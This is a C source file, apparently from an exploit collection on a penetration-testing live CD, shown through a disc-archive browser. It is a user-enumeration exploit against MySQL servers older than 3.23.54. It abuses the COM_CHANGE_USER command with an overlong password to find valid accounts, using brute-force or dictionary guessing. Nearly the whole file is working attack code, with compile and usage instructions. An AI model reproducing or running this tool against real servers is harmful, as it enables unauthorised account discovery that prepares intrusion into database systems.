home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / mysqlgetuser.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  160 lines

  1. /* Unpatched MySql < 3.23.54 COM_CHANGE_USER password length user discover :D
  2.  *
  3.  * Discovered by e-matters
  4.  *  Advisory: http://security.e-matters.de/advisories/042002.html
  5.  *
  6.  * Usage: mysqlgetusers "host" "valid_user" "valid_pass"
  7.  * dreyer <dreyer@subdimension.com>
  8.  * Version 0.2 
  9.  * 
  10.  * What you need:
  11.  * A valid user loginable from this host
  12.  * Password for that user
  13.  * A dictionary
  14.  *
  15.  * Compile: gcc -o mysqlgetusers mysqlgetusers.c -lmysqlclient
  16.  * i.e.:
  17.  * ./mysqlgetusers -i localhost my_user my_pass 
  18.  *
  19.  * Greetings to: jaxp, kicat, and all people in #ngsec @ irc-hispano network
  20.  */
  21.  
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <mysql/mysql.h>
  25. #include <getopt.h>
  26. #include <signal.h>
  27.  
  28. char *charset="abcdefghijklmnopqrstuvwxyz";
  29. char *last;
  30. FILE *dict;
  31.  
  32. void *sig_hand (int j) {
  33.    printf("[-] Aborting... Last Checked user: '%s'\n",last);
  34.    exit(-1);
  35. }
  36.  
  37. int next_token (char *in) {
  38.     int i,j=strlen(in)-1; 
  39.     char *k,*l=charset+strlen(charset)-1;
  40.     if (j<0) { 
  41.         in[0]=*charset; 
  42.         return 1;
  43.     }
  44.     for(i=j;i>=0;i--) {
  45.         k=index(charset,in[i]);
  46.         if (k==l) { 
  47.           if(i==0) { 
  48.            printf("[+] Trying users with %d characters\n",j+2);
  49.            memset(in,charset[0],j+2);
  50.            in[j+2]=0;
  51.            break;
  52.           } else in[i]=*charset;
  53.          }
  54.          else { 
  55.           in[i]=*(k+1);
  56.           break;
  57.          }
  58.     }
  59. }
  60.  
  61. int next_user (char *in,int type) {
  62.   if (type==1) {
  63.     if (feof(dict)) return 0;
  64.     fgets(in,80,dict);
  65.     in[strlen(in)-1]=0;
  66.     return 1;
  67.   } else {
  68.     next_token(in);
  69.     return 1;
  70.   }
  71. }
  72.  
  73. int prepare_dict (char *a)
  74. {
  75.    char search[300];
  76.    while(!feof(dict)) {
  77.     fgets(search,80,dict);
  78.     if (!strncmp(search,a,strlen(a))) return 1;
  79.    }
  80.    printf("[-] Sorry %s not found in dictfile\n");
  81.    exit(-1);
  82. }
  83.  
  84. int main(int argc, char **argv)
  85. {
  86.   MYSQL *sock,mysql;
  87.   char abuf[1000];
  88.  
  89.   char  *pass;
  90.   int i,opt,type=0;
  91.   
  92.   printf("[+] MySql <3.23.54 User Discovery by \033[1;33mdreyer@subdimension.com\033[0m\n");
  93.   if (argc < 5)
  94.   {
  95.     fprintf(stderr,"usage : mysqlusers [ -c charset ] [ -f <dict_file> | -i ] [ -r first_pass ] host user pass\n");
  96.     exit(1);
  97.   }
  98.   last=abuf;
  99.   memset (abuf,0,sizeof(abuf));
  100.   while((opt=getopt(argc,argv,"c:f:ir:"))!=EOF)
  101.   switch(opt) {
  102.       case 'c':
  103.                charset=optarg;
  104.            break;
  105.       case 'f':
  106.                type=1;
  107.                if ((dict=fopen(optarg,"r"))==NULL) {
  108.                   perror("Dictfile\n");
  109.                   exit(1);
  110.                }
  111.            break;
  112.       case 'i':
  113.            type=2;
  114.            break;
  115.       case 'r': 
  116.                strcpy(abuf,optarg);
  117.                break;
  118.  
  119.   }
  120.   signal(SIGINT,sig_hand);
  121.   argv=&argv[optind-1];
  122.   if(!type) {
  123.       printf("[-] Provide one attack method please...\nAborting\n");
  124.       exit(1);
  125.   }
  126.  
  127.   if (abuf[0] && type==1) prepare_dict(abuf);
  128.  
  129.   printf("[+] Conecting...\n");
  130.   mysql_init(&mysql);
  131.   if (!(sock = mysql_real_connect(&mysql,argv[1],argv[2],argv[3],NULL,3306,NULL,0)))
  132.   {
  133.     fprintf(stderr,"[-] Couldn't connect to engine!\n%s\n",mysql_error(&mysql));
  134.     exit(1);
  135.   }
  136.   printf("[+] Begining attack... Searching other valid users...\n");
  137.  
  138.   while(next_user(abuf,type)) {
  139.     pass=abuf+strlen(abuf)+1;
  140.     strcpy(pass,"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
  141.     net_clear(&sock->net);
  142.     if (net_write_command(&sock->net,COM_CHANGE_USER, abuf,strlen(abuf)+strlen(pass)+2)) 
  143.     {
  144.          printf("[-] Can't send command to server.\n");
  145.      }
  146.     if (my_net_read(&sock->net)==packet_error)  {
  147.        printf("[+] Found Valid user >%s<\n",abuf);
  148.        sleep(1);
  149.        if (!(sock = mysql_real_connect(&mysql,argv[1],argv[2],argv[3],NULL,3306,NULL,0)))
  150.        {
  151.            fprintf(stderr,"[-] Couldn't connect to engine!\n%s\n",
  152.              mysql_error(&mysql));
  153.            exit(1);
  154.        }
  155.     }
  156.   }
  157.   printf("[+] End\n");
  158.   mysql_close(sock);
  159. }
  160.